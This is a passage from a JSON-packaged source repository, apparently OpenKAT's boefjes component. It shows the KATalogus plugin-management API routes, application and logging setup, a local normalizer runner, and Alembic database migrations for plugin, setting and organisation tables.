if plugin.type == filter_params.type]\n\n    # filter plugins by state\n    if filter_params.state is not None:\n        plugins = [plugin for plugin in plugins if plugin.enabled is filter_params.state]\n\n    # filter plugins by oci_image\n    if filter_params.oci_image is not None:\n        plugins = [\n            plugin for plugin in plugins if plugin.type == \"boefje\" and plugin.oci_image == filter_params.oci_image\n        ]\n\n    # filter plugins by scan level for boefje plugins\n    plugins = [plugin for plugin in plugins if plugin.type != \"boefje\" or plugin.scan_level >= filter_params.scan_level]\n\n    if filter_params.consumes is not None:\n        plugins = [plugin for plugin in plugins if filter_params.consumes.intersection(set(plugin.consumes))]\n\n    if filter_params.produces is not None:\n        plugins = [plugin for plugin in plugins if filter_params.produces.intersection(set(plugin.produces))]\n\n    if pagination_params.limit is None:\n        return plugins[pagination_params.offset :]\n\n    # paginate plugins\n    return plugins[pagination_params.offset : pagination_params.offset + pagination_params.limit]\n\n\n@router.get(\"/plugins/{plugin_id}\", response_model=PluginType)\ndef get_plugin(\n    plugin_id: str, organisation_id: str, plugin_service: PluginService = Depends(get_plugin_service)\n) -> PluginType:\n    try:\n        with plugin_service as service:\n            return service.by_plugin_id(plugin_id, organisation_id)\n    except KeyError:\n        raise HTTPException(status.HTTP_404_NOT_FOUND, \"Plugin not found\")\n\n\n@router.post(\"/plugins\", status_code=status.HTTP_201_CREATED)\ndef add_plugin(plugin: PluginType, plugin_service: PluginService = Depends(get_plugin_service)):\n    try:\n        with plugin_service as service:\n            plugin.static = False  # Creation through the API implies that these cannot be static\n\n            if plugin.type == \"boefje\":\n                return service.create_boefje(plugin)\n\n            if plugin.type == \"normalizer\":\n                return service.create_normalizer(plugin)\n    except UniqueViolation as error:\n        raise HTTPException(\n            status.HTTP_400_BAD_REQUEST, f\"Duplicate plugin: a plugin with this {error.field} already exists\"\n        )\n    except DuplicatePlugin as error:\n        raise HTTPException(status.HTTP_400_BAD_REQUEST, error.message)\n\n    raise HTTPException(status.HTTP_400_BAD_REQUEST, \"Creation of Bits is not supported\")\n\n\n@router.patch(\"/plugins/{plugin_id}\", status_code=status.HTTP_204_NO_CONTENT)\ndef update_plugin_state(\n    plugin_id: str,\n    organisation_id: str,\n    enabled: bool = Body(False, embed=True),\n    plugin_service: PluginService = Depends(get_plugin_service),\n):\n    with plugin_service as p:\n        p.set_enabled_by_id(plugin_id, organisation_id, enabled)\n\n\nclass BoefjeIn(BaseModel):\n    \"\"\"\n    For patching, we need all fields to be optional, hence we overwrite the definition here.\n    Also see https://fastapi.tiangolo.com/tutorial/body-updates/ as a reference.\n    \"\"\"\n\n    name: str | None = None\n    version: str | None = None\n    created: datetime.datetime | None = None\n    description: str | None = None\n    scan_level: int = 1\n    consumes: set[str] = Field(default_factory=set)\n    produces: set[str] = Field(default_factory=set)\n    boefje_schema: dict | None = None\n    cron: str | None = None\n    interval: int | None = None\n    run_on: list[RunOn] | None = None\n    oci_image: str | None = None\n    oci_arguments: list[str] = Field(default_factory=list)\n\n    @field_validator(\"boefje_schema\")\n    @classmethod\n    def json_schema_valid(cls, schema: dict | None) -> dict | None:\n        if schema is not None:\n            try:\n                Draft202012Validator.check_schema(schema)\n            except SchemaError as e:\n                raise ValueError(\"The schema field is not a valid JSON schema\") from e\n\n        return schema\n\n    @field_validator(\"cron\")\n    @classmethod\n    def cron_valid(cls, cron: str | None) -> str | None:\n        if cron is not None:\n            croniter(cron)  # Raises a ValueError\n\n        return cron\n\n\n@router.patch(\"/boefjes/{boefje_id}\", status_code=status.HTTP_204_NO_CONTENT)\ndef update_boefje(boefje_id: str, boefje: BoefjeIn, storage: PluginStorage = Depends(get_plugin_storage)):\n    # todo: update boefje should be done in the plugin service\n    try:\n        with storage as p:\n            try:\n                p.update_boefje(boefje_id, boefje.model_dump(exclude_unset=True))\n            except NotAllowed:\n                raise HTTPException(status.HTTP_403_FORBIDDEN, \"Updating a static plugin is not allowed\")\n    except IntegrityError as error:\n        raise HTTPException(status.HTTP_400_BAD_REQUEST, error.message)\n\n\n@router.delete(\"/boefjes/{boefje_id}\", status_code=status.HTTP_204_NO_CONTENT)\ndef delete_boefje(boefje_id: str, plugin_storage: PluginStorage = Depends(get_plugin_storage)):\n    with plugin_storage as p:\n        p.delete_boefje_by_id(boefje_id)\n\n\nclass NormalizerIn(BaseModel):\n    \"\"\"\n    For patching, we need all fields to be optional, hence we overwrite the definition here.\n    Also see https://fastapi.tiangolo.com/tutorial/body-updates/ as a reference.\n    \"\"\"\n\n    name: str | None = None\n    version: str | None = None\n    created: datetime.datetime | None = None\n    description: str | None = None\n    consumes: list[str] = Field(default_factory=list)  # mime types (and/ or boefjes)\n    produces: list[str] = Field(default_factory=list)  # oois\n\n\n@router.patch(\"/normalizers/{normalizer_id}\", status_code=status.HTTP_204_NO_CONTENT)\ndef update_normalizer(\n    normalizer_id: str, normalizer: NormalizerIn, storage: PluginStorage = Depends(get_plugin_storage)\n):\n    with storage as p:\n        p.update_normalizer(normalizer_id, normalizer.model_dump(exclude_unset=True))\n\n\n@router.delete(\"/normalizers/{normalizer_id}\", status_code=status.HTTP_204_NO_CONTENT)\ndef delete_normalizer(normalizer_id: str, plugin_storage: PluginStorage = Depends(get_plugin_storage)):\n    with plugin_storage as p:\n        p.delete_normalizer_by_id(normalizer_id)\n\n\n@router.get(\"/plugins/{plugin_id}/schema.json\", include_in_schema=False)\ndef get_plugin_schema(plugin_id: str, plugin_service: PluginService = Depends(get_plugin_service)) -> JSONResponse:\n    with plugin_service as service:\n        return JSONResponse(service.schema(plugin_id))\n\n\n@router.get(\"/plugins/{plugin_id}/cover.jpg\", include_in_schema=False)\ndef get_plugin_cover(plugin_id: str, plugin_service: PluginService = Depends(get_plugin_service)) -> FileResponse:\n    return FileResponse(plugin_service.cover(plugin_id))\n\n\n@router.get(\"/plugins/{plugin_id}/description.md\", include_in_schema=False)\ndef get_plugin_description(\n    plugin_id: str, organisation_id: str, plugin_service: PluginService = Depends(get_plugin_service)\n) -> Response:\n    return Response(plugin_service.description(plugin_id, organisation_id))\n\n\n@router.post(\"/settings/clone/{to_org}\")\ndef clone_settings(organisation_id: str, to_org: str, storage: PluginService = Depends(get_plugin_service)):\n    with storage as store:\n        store.clone_settings_to_organisation(organisation_id, to_org)\n"
  },
  {
    "path": "boefjes/boefjes/katalogus/root.py",
    "content": "from typing import Any\n\nimport structlog\nfrom fastapi import APIRouter, FastAPI, Request, status\nfrom fastapi.responses import JSONResponse, RedirectResponse\nfrom opentelemetry import trace\nfrom opentelemetry.exporter.otlp.proto.grpc.trace_exporter import OTLPSpanExporter\nfrom opentelemetry.instrumentation.fastapi import FastAPIInstrumentor\nfrom opentelemetry.instrumentation.psycopg2 import Psycopg2Instrumentor\nfrom opentelemetry.instrumentation.requests import RequestsInstrumentor\nfrom opentelemetry.sdk.resources import SERVICE_NAME, Resource\nfrom opentelemetry.sdk.trace import TracerProvider\nfrom opentelemetry.sdk.trace.export import BatchSpanProcessor\nfrom pydantic import BaseModel, Field\n\nfrom boefjes.config import settings\nfrom boefjes.katalogus import configs, organisations, plugins\nfrom boefjes.katalogus import settings as settings_router\nfrom boefjes.katalogus.version import __version__\nfrom boefjes.logging import configure_logging\nfrom boefjes.storage.interfaces import IntegrityError, NotAllowed, NotFound, StorageError\n\nconfigure_logging()\n\nlogger = structlog.get_logger(__name__)\napp = FastAPI(title=\"KAT-alogus API\", version=__version__)\n\nif settings.span_export_grpc_endpoint is not None:\n    logger.info(\"Setting up instrumentation with span exporter endpoint [%s]\", settings.span_export_grpc_endpoint)\n\n    FastAPIInstrumentor.instrument_app(app)\n    Psycopg2Instrumentor().instrument()\n    RequestsInstrumentor().instrument()\n\n    resource = Resource(attributes={SERVICE_NAME: \"katalogus\"})\n    provider = TracerProvider(resource=resource)\n    processor = BatchSpanProcessor(OTLPSpanExporter(endpoint=str(settings.span_export_grpc_endpoint)))\n    provider.add_span_processor(processor)\n    trace.set_tracer_provider(provider)\n\n    logger.debug(\"Finished setting up instrumentation\")\n\nrouter = APIRouter()\nrouter.include_router(organisations.router)\nrouter.include_router(plugins.router)\nrouter.include_router(settings_router.router)\nrouter.include_router(configs.router)\n\n\napp.include_router(router, prefix=\"/v1\")\n\n\n@app.exception_handler(NotFound)\ndef entity_not_found_handler(request: Request, exc: NotFound) -> JSONResponse:\n    return JSONResponse(status_code=status.HTTP_404_NOT_FOUND, content={\"message\": exc.message})\n\n\n@app.exception_handler(NotAllowed)\ndef not_allowed_handler(request: Request, exc: NotAllowed) -> JSONResponse:\n    return JSONResponse(status_code=status.HTTP_400_BAD_REQUEST, content={\"message\": exc.message})\n\n\n@app.exception_handler(IntegrityError)\ndef integrity_error_handler(request: Request, exc: IntegrityError) -> JSONResponse:\n    return JSONResponse(status_code=status.HTTP_400_BAD_REQUEST, content={\"message\": exc.message})\n\n\n@app.exception_handler(StorageError)\ndef storage_error_handler(request: Request, exc: StorageError) -> JSONResponse:\n    return JSONResponse(status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, content={\"message\": exc.message})\n\n\nclass ServiceHealth(BaseModel):\n    service: str\n    healthy: bool = False\n    version: str | None = None\n    additional: Any = None\n    results: list[\"ServiceHealth\"] = Field(default_factory=list)\n\n\nServiceHealth.model_rebuild()\n\n\n@app.get(\"/\", include_in_schema=False)\ndef root() -> RedirectResponse:\n    return RedirectResponse(url=\"/health\")\n\n\n@app.get(\"/health\", response_model=ServiceHealth)\ndef health() -> ServiceHealth:\n    return ServiceHealth(service=\"katalogus\", healthy=True, version=__version__)\n\n\n@router.get(\"/v1/\", include_in_schema=False)\ndef v1_root() -> RedirectResponse:\n    return RedirectResponse(url=\"/v1/docs\")\n"
  },
  {
    "path": "boefjes/boefjes/katalogus/settings.py",
    "content": "from fastapi import APIRouter, Depends\n\nfrom boefjes.dependencies.plugins import PluginService, get_plugin_service\n\nrouter = APIRouter(prefix=\"/organisations/{organisation_id}/{plugin_id}/settings\", tags=[\"settings\"])\n\n\n@router.get(\"\", response_model=dict)\ndef list_settings(\n    organisation_id: str, plugin_id: str, plugin_service: PluginService = Depends(get_plugin_service)\n) -> dict[str, str]:\n    with plugin_service as p:\n        return p.get_all_settings(organisation_id, plugin_id)\n\n\n@router.put(\"\")\ndef upsert_settings(\n    organisation_id: str, plugin_id: str, values: dict, plugin_service: PluginService = Depends(get_plugin_service)\n) -> None:\n    with plugin_service as p:\n        p.upsert_settings(values, organisation_id, plugin_id)\n\n\n@router.delete(\"\")\ndef remove_settings(\n    organisation_id: str, plugin_id: str, plugin_service: PluginService = Depends(get_plugin_service)\n) -> None:\n    with plugin_service as p:\n        p.delete_settings(organisation_id, plugin_id)\n"
  },
  {
    "path": "boefjes/boefjes/katalogus/version.py",
    "content": "__version__ = \"0.0.1-development\"\n"
  },
  {
    "path": "boefjes/boefjes/local/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/local/runner.py",
    "content": "from collections.abc import Iterable\n\nimport structlog\n\nfrom boefjes.normalizer_interfaces import NormalizerJobRunner\nfrom boefjes.normalizer_models import (\n    NormalizerAffirmation,\n    NormalizerDeclaration,\n    NormalizerObservation,\n    NormalizerOutput,\n    NormalizerResults,\n)\nfrom boefjes.worker.interfaces import JobRuntimeError\nfrom boefjes.worker.job_models import InvalidReturnValueNormalizer, NormalizerMeta, ObservationsWithoutInputOOI\nfrom boefjes.worker.repository import LocalPluginRepository\nfrom octopoes.models import OOI, DeclaredScanProfile\n\nlogger = structlog.get_logger(__name__)\n\n\nclass LocalNormalizerJobRunner(NormalizerJobRunner):\n    def __init__(self, local_repository: LocalPluginRepository):\n        self.local_repository = local_repository\n\n    def run(self, normalizer_meta: NormalizerMeta, raw: bytes) -> NormalizerResults:\n        logger.debug(\"Running local normalizer plugin\")\n\n        normalizers = self.local_repository.resolve_normalizers()\n        normalizer = normalizers[normalizer_meta.normalizer.id]\n\n        try:\n            try:\n                input_ooi = normalizer_meta.raw_data.boefje_meta.arguments[\"input\"]\n            except KeyError:\n                if normalizer_meta.raw_data.boefje_meta.input_ooi:\n                    input_ooi = {\"primary_key\": normalizer_meta.raw_data.boefje_meta.input_ooi}\n                else:\n                    input_ooi = {}\n\n            results = normalizer.module.run(input_ooi, raw)\n        except BaseException as e:\n            raise JobRuntimeError(\"Normalizer failed\") from e\n\n        return self._parse_results(normalizer_meta, results)\n\n    def _parse_results(self, normalizer_meta: NormalizerMeta, results: Iterable[NormalizerOutput]) -> NormalizerResults:\n        oois = []\n        declarations = []\n        affirmations = []\n        scan_profiles = []\n\n        for result in results:\n            match result:\n                case OOI():\n                    oois.append(result)\n                case NormalizerDeclaration():\n                    declarations.append(result)\n                case NormalizerAffirmation():\n                    affirmations.append(result)\n                case DeclaredScanProfile():\n                    scan_profiles.append(result)\n                case _:\n                    raise InvalidReturnValueNormalizer(\n                        f\"Normalizer returned object of incorrect type: {result.__class__.__name__}\"\n                    )\n\n        if oois:\n            if not normalizer_meta.raw_data.boefje_meta.input_ooi:\n                raise ObservationsWithoutInputOOI(normalizer_meta)\n\n            observations = [\n                NormalizerObservation(\n                    type=\"observation\", input_ooi=normalizer_meta.raw_data.boefje_meta.input_ooi, results=oois\n                )\n            ]\n        else:\n            observations = []\n\n        return NormalizerResults(\n            observations=observations, declarations=declarations, affirmations=affirmations, scan_profiles=scan_profiles\n        )\n"
  },
  {
    "path": "boefjes/boefjes/logging.json",
    "content": "{\n  \"version\": 1,\n  \"disable_existing_loggers\": 0,\n  \"formatters\": {\n    \"default\": {\n      \"format\": \"%(message)s\"\n    }\n  },\n  \"handlers\": {\n    \"console\": {\n      \"class\": \"logging.StreamHandler\",\n      \"formatter\": \"default\",\n      \"level\": \"INFO\",\n      \"stream\": \"ext://sys.stdout\"\n    }\n  },\n  \"root\": {\n    \"level\": \"INFO\",\n    \"handlers\": [\n      \"console\"\n    ]\n  },\n  \"loggers\": {\n    \"uvicorn\": {\n      \"level\": \"INFO\",\n      \"propagate\": 0,\n      \"handlers\": [\n        \"console\"\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/logging.py",
    "content": "import json\nimport logging.config\n\nimport structlog\n\nfrom boefjes.config import settings\n\nwith settings.log_cfg.open() as f:\n    logging.config.dictConfig(json.load(f))\n\n\ndef configure_logging():\n    structlog.configure(\n        processors=[\n            structlog.contextvars.merge_contextvars,\n            structlog.processors.add_log_level,\n            structlog.processors.StackInfoRenderer(),\n            structlog.dev.set_exc_info,\n            structlog.stdlib.PositionalArgumentsFormatter(),\n            structlog.processors.TimeStamper(\"iso\", utc=False),\n            (\n                structlog.dev.ConsoleRenderer(\n                    colors=True, pad_level=False, exception_formatter=structlog.dev.plain_traceback\n                )\n                if settings.logging_format == \"text\"\n                else structlog.processors.JSONRenderer()\n            ),\n        ],\n        context_class=dict,\n        logger_factory=structlog.stdlib.LoggerFactory(),\n        wrapper_class=structlog.stdlib.BoundLogger,\n        cache_logger_on_first_use=True,\n    )\n"
  },
  {
    "path": "boefjes/boefjes/migrations/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/migrations/env.py",
    "content": "from logging.config import fileConfig\n\nfrom alembic import context\nfrom sqlalchemy import engine_from_config, pool\n\nfrom boefjes.config import settings\nfrom boefjes.sql.db import SQL_BASE\n\n# this is the Alembic Config object, which provides\n# access to the values within the .ini file in use.\nconfig = context.config\n\n# Interpret the config file for Python logging.\n# This line sets up loggers basically.\nif config.config_file_name is not None:\n    fileConfig(config.config_file_name)\n\n# add your model's MetaData object here\n# for 'autogenerate' support\ntarget_metadata = SQL_BASE.metadata\nconfig.set_main_option(\"sqlalchemy.url\", str(settings.katalogus_db_uri))\n\n# other values from the config, defined by the needs of env.py,\n# can be acquired:\n# ... etc.\n\n\ndef run_migrations_offline() -> None:\n    \"\"\"Run migrations in 'offline' mode.\n\n    This configures the context with just a URL\n    and not an Engine, though an Engine is acceptable\n    here as well.  By skipping the Engine creation\n    we don't even need a DBAPI to be available.\n\n    Calls to context.execute() here emit the given string to the\n    script output.\n\n    \"\"\"\n    url = config.get_main_option(\"sqlalchemy.url\")\n    context.configure(\n        url=url,\n        target_metadata=target_metadata,\n        literal_binds=True,\n        dialect_opts={\"paramstyle\": \"named\"},\n        compare_type=True,\n    )\n\n    with context.begin_transaction():\n        context.run_migrations()\n\n\ndef run_migrations_online() -> None:\n    \"\"\"Run migrations in 'online' mode.\n\n    In this scenario we need to create an Engine\n    and associate a connection with the context.\n\n    \"\"\"\n    connectable = engine_from_config(\n        config.get_section(config.config_ini_section), prefix=\"sqlalchemy.\", poolclass=pool.NullPool\n    )\n\n    with connectable.connect() as connection:\n        context.configure(connection=connection, target_metadata=target_metadata, compare_type=True)\n\n        with context.begin_transaction():\n            context.run_migrations()\n\n\nif context.is_offline_mode():\n    run_migrations_offline()\nelse:\n    run_migrations_online()\n"
  },
  {
    "path": "boefjes/boefjes/migrations/script.py.mako",
    "content": "\"\"\"${message}\n\nRevision ID: ${up_revision}\nRevises: ${down_revision | comma,n}\nCreate Date: ${create_date}\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n${imports if imports else \"\"}\n\n# revision identifiers, used by Alembic.\nrevision = ${repr(up_revision)}\ndown_revision = ${repr(down_revision)}\nbranch_labels = ${repr(branch_labels)}\ndepends_on = ${repr(depends_on)}\n\n\ndef upgrade() -> None:\n    ${upgrades if upgrades else \"pass\"}\n\n\ndef downgrade() -> None:\n    ${downgrades if downgrades else \"pass\"}\n"
  },
  {
    "path": "boefjes/boefjes/migrations/versions/0001_add_katalogus_models.py",
    "content": "\"\"\"Add KATalogus models.\n\nRevision ID: 0001\nRevises:\nCreate Date: 2022-05-18 14:19:15.882901\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"0001\"\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table(\n        \"organisation\",\n        sa.Column(\"pk\", sa.Integer(), autoincrement=True, nullable=False),\n        sa.Column(\"id\", sa.String(length=4), nullable=False),\n        sa.Column(\"name\", sa.String(length=64), nullable=False),\n        sa.PrimaryKeyConstraint(\"pk\"),\n    )\n    op.create_table(\n        \"repository\",\n        sa.Column(\"pk\", sa.Integer(), autoincrement=True, nullable=False),\n        sa.Column(\"id\", sa.String(length=32), nullable=False),\n        sa.Column(\"name\", sa.String(length=64), nullable=False),\n        sa.Column(\"base_url\", sa.String(length=128), nullable=False),\n        sa.PrimaryKeyConstraint(\"pk\"),\n    )\n    op.create_table(\n        \"organisation_repository\",\n        sa.Column(\"organisation_pk\", sa.Integer(), nullable=False),\n        sa.Column(\"repository_pk\", sa.Integer(), nullable=False),\n        sa.ForeignKeyConstraint([\"organisation_pk\"], [\"organisation.pk\"]),\n        sa.ForeignKeyConstraint([\"repository_pk\"], [\"repository.pk\"]),\n    )\n    op.create_table(\n        \"setting\",\n        sa.Column(\"id\", sa.Integer(), autoincrement=True, nullable=False),\n        sa.Column(\"key\", sa.String(length=32), nullable=False),\n        sa.Column(\"value\", sa.String(length=64), nullable=False),\n        sa.Column(\"organisation_pk\", sa.Integer(), nullable=False),\n        sa.ForeignKeyConstraint([\"organisation_pk\"], [\"organisation.pk\"], ondelete=\"CASCADE\"),\n        sa.PrimaryKeyConstraint(\"id\"),\n    )\n    op.create_table(\n        \"plugin_state\",\n        sa.Column(\"id\", sa.Integer(), autoincrement=True, nullable=False),\n        sa.Column(\"plugin_id\", sa.String(length=32), nullable=False),\n        sa.Column(\"enabled\", sa.Boolean(), nullable=False),\n        sa.Column(\"organisation_pk\", sa.Integer(), nullable=False),\n        sa.Column(\"repository_pk\", sa.Integer(), nullable=False),\n        sa.ForeignKeyConstraint([\"organisation_pk\"], [\"organisation.pk\"], ondelete=\"CASCADE\"),\n        sa.ForeignKeyConstraint([\"repository_pk\"], [\"repository.pk\"], ondelete=\"CASCADE\"),\n        sa.PrimaryKeyConstraint(\"id\"),\n        sa.UniqueConstraint(\"plugin_id\"),\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table(\"plugin_state\")\n    op.drop_table(\"setting\")\n    op.drop_table(\"organisation_repository\")\n    op.drop_table(\"repository\")\n    op.drop_table(\"organisation\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "boefjes/boefjes/migrations/versions/0002_change_lengths_of_several_char_fields.py",
    "content": "\"\"\"Change lengths of several Char fields\n\nRevision ID: 0002\nRevises: 0001\nCreate Date: 2022-09-06 10:13:48.622901\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"0002\"\ndown_revision = \"0001\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\"setting\", sa.Column(\"plugin_id\", sa.String(length=32), nullable=False))\n\n    op.create_unique_constraint(\"organisation_id\", \"organisation\", [\"id\"])\n    op.create_unique_constraint(\n        \"unique_plugin_per_repo_per_org\", \"plugin_state\", [\"plugin_id\", \"organisation_pk\", \"repository_pk\"]\n    )\n    op.create_unique_constraint(\"repository_id\", \"repository\", [\"id\"])\n    op.create_unique_constraint(\n        \"unique_keys_per_organisation_per_plugin\", \"setting\", [\"key\", \"organisation_pk\", \"plugin_id\"]\n    )\n\n    op.alter_column(\n        \"setting\", \"key\", existing_type=sa.String(length=32), type_=sa.String(length=128), existing_nullable=False\n    )\n    op.alter_column(\n        \"setting\", \"value\", existing_type=sa.String(length=64), type_=sa.String(length=128), existing_nullable=False\n    )\n    op.drop_constraint(\"plugin_state_plugin_id_key\", \"plugin_state\", type_=\"unique\")\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_constraint(\"unique_keys_per_organisation_per_plugin\", \"setting\", type_=\"unique\")\n\n    op.alter_column(\n        \"setting\", \"value\", existing_type=sa.String(length=128), type_=sa.String(length=64), existing_nullable=False\n    )\n    op.alter_column(\n        \"setting\", \"key\", existing_type=sa.String(length=128), type_=sa.String(length=32), existing_nullable=False\n    )\n\n    op.drop_constraint(\"repository_id\", \"repository\", type_=\"unique\")\n    op.drop_constraint(\"unique_plugin_per_repo_per_org\", \"plugin_state\", type_=\"unique\")\n    op.drop_constraint(\"organisation_id\", \"organisation\", type_=\"unique\")\n    op.create_unique_constraint(\"plugin_state_plugin_id_key\", \"plugin_state\", [\"plugin_id\"])\n\n    op.drop_column(\"setting\", \"plugin_id\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "boefjes/boefjes/migrations/versions/0003_longer_plugin_ids.py",
    "content": "\"\"\"Change lengths of several Char fields\n\nRevision ID: 0002\nRevises: 0001\nCreate Date: 2022-09-06 10:13:48.622901\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"0003\"\ndown_revision = \"0002\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"setting\", \"plugin_id\", existing_type=sa.String(length=32), type_=sa.String(length=64), existing_nullable=False\n    )\n    op.alter_column(\n        \"plugin_state\",\n        \"plugin_id\",\n        existing_type=sa.String(length=32),\n        type_=sa.String(length=64),\n        existing_nullable=False,\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"plugin_state\",\n        \"plugin_id\",\n        existing_type=sa.String(length=64),\n        type_=sa.String(length=32),\n        existing_nullable=False,\n    )\n    op.alter_column(\n        \"setting\", \"plugin_id\", existing_type=sa.String(length=64), type_=sa.String(length=32), existing_nullable=False\n    )\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "boefjes/boefjes/migrations/versions/197672984df0_make_organisation_code_field_larger.py",
    "content": "\"\"\"Make organisation code field larger\n\nRevision ID: 197672984df0\nRevises: 0003\nCreate Date: 2022-12-12 13:22:07.119970\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"197672984df0\"\ndown_revision = \"0003\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"organisation\", \"id\", existing_type=sa.VARCHAR(length=4), type_=sa.String(length=32), existing_nullable=False\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"organisation\", \"id\", existing_type=sa.String(length=32), type_=sa.VARCHAR(length=4), existing_nullable=False\n    )\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "boefjes/boefjes/migrations/versions/5be152459a7b_introduce_schema_field_to_boefje_model.py",
    "content": "\"\"\"Introduce schema field to Boefje model\n\nRevision ID: 5be152459a7b\nRevises: f9de6eb7824b\nCreate Date: 2024-08-08 14:47:12.582017\n\n\"\"\"\n\nimport logging\n\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy import text\n\nfrom boefjes.worker.repository import get_local_repository\n\n# revision identifiers, used by Alembic.\nrevision = \"5be152459a7b\"\ndown_revision = \"f9de6eb7824b\"\nbranch_labels = None\ndepends_on = None\n\nlogger = logging.getLogger(__name__)\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\"boefje\", sa.Column(\"schema\", sa.JSON(), nullable=True))\n\n    local_repo = get_local_repository()\n    connection = op.get_bind()\n\n    plugins = local_repo.get_all()\n    logger.info(\"Found %s plugins\", len(plugins))\n\n    for plugin in plugins:\n        schema = local_repo.schema(plugin.id)\n        if schema:\n            query = text(\"UPDATE boefje SET schema = :schema WHERE plugin_id = :plugin_id\")  # noqa: S608\n            connection.execute(query, {\"schema\": schema, \"plugin_id\": plugin.id})\n            logger.info(\"Updated any database entries for plugin %s\", plugin.id)\n        else:\n            logger.info(\"No schema present for plugin %s\", plugin.id)\n\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column(\"boefje\", \"schema\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "boefjes/boefjes/migrations/versions/6f99834a4a5a_introduce_boefje_and_normalizer_models.py",
    "content": "\"\"\"Introduce Boefje and Normalizer models\n\nRevision ID: 6f99834a4a5a\nRevises: 7c88b9cd96aa\nCreate Date: 2024-05-28 13:00:12.338182\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"6f99834a4a5a\"\ndown_revision = \"7c88b9cd96aa\"\nbranch_labels = None\ndepends_on = None\n\n\nscan_level_enum = sa.Enum(\"0\", \"1\", \"2\", \"3\", \"4\", name=\"scan_level\")\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n\n    op.create_table(\n        \"boefje\",\n        sa.Column(\"id\", sa.Integer(), autoincrement=True, nullable=False),\n        sa.Column(\"plugin_id\", sa.String(length=64), nullable=False),\n        sa.Column(\"created\", sa.DateTime(timezone=True), nullable=True),\n        sa.Column(\"name\", sa.String(length=64), nullable=False),\n        sa.Column(\"description\", sa.Text(), nullable=True),\n        sa.Column(\"scan_level\", scan_level_enum, nullable=False),\n        sa.Column(\"consumes\", sa.ARRAY(sa.String(length=128)), nullable=False),\n        sa.Column(\"produces\", sa.ARRAY(sa.String(length=128)), nullable=False),\n        sa.Column(\"environment_keys\", sa.ARRAY(sa.String(length=128)), nullable=False),\n        sa.Column(\"oci_image\", sa.String(length=256), nullable=True),\n        sa.Column(\"oci_arguments\", sa.ARRAY(sa.String(length=128)), nullable=False),\n        sa.Column(\"version\", sa.String(length=16), nullable=True),\n        sa.PrimaryKeyConstraint(\"id\"),\n        sa.UniqueConstraint(\"plugin_id\"),\n    )\n    op.create_table(\n        \"normalizer\",\n        sa.Column(\"id\", sa.Integer(), autoincrement=True, nullable=False),\n        sa.Column(\"plugin_id\", sa.String(length=64), nullable=False),\n        sa.Column(\"created\", sa.DateTime(timezone=True), nullable=True),\n        sa.Column(\"name\", sa.String(length=64), nullable=False),\n        sa.Column(\"description\", sa.Text(), nullable=True),\n        sa.Column(\"consumes\", sa.ARRAY(sa.String(length=128)), nullable=False),\n        sa.Column(\"produces\", sa.ARRAY(sa.String(length=128)), nullable=False),\n        sa.Column(\"environment_keys\", sa.ARRAY(sa.String(length=128)), nullable=False),\n        sa.Column(\"version\", sa.String(length=16), nullable=True),\n        sa.PrimaryKeyConstraint(\"id\"),\n        sa.UniqueConstraint(\"plugin_id\"),\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table(\"normalizer\")\n    op.drop_table(\"boefje\")\n    scan_level_enum.drop(op.get_bind(), checkfirst=False)\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "boefjes/boefjes/migrations/versions/7c88b9cd96aa_remove_the_repository_model.py",
